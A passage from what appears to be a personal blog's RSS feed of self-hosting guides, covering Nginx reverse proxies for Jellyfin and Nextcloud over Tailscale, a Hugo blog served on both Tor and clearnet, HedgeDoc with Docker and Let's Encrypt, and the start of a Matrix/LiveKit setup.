    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperModhttps://blog.alipour.eu/posts/tor_clearnet_blog/Fri, 19 Sep 2025 00:00:00 +0000https://blog.alipour.eu/posts/tor_clearnet_blog/How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    +
    HiddenServiceDir /var/lib/tor/hidden_site/
    +HiddenServicePort 80 127.0.0.1:3301
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    +
    /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
    +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
    +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
    +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
    +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
    +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
    +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
    +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
    +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
    +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
    +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
    +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
    +=QlNw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md.asc
    +gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
    +  
    +
    + + +]]>
    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypthttps://blog.alipour.eu/posts/hedge_doc/Fri, 29 Aug 2025 00:00:00 +0000https://blog.alipour.eu/posts/hedge_doc/<p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p>HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w
    +AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
    +iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+
    +QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r
    +UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM
    +4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
    +sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
    +5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
    +MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB
    +QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
    +aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg=
    +=uf5y
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md.asc
    +gpg --verify hedge_doc.md.asc hedge_doc.md
    +  
    +
    + + +]]>
    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)https://blog.alipour.eu/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000https://blog.alipour.eu/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

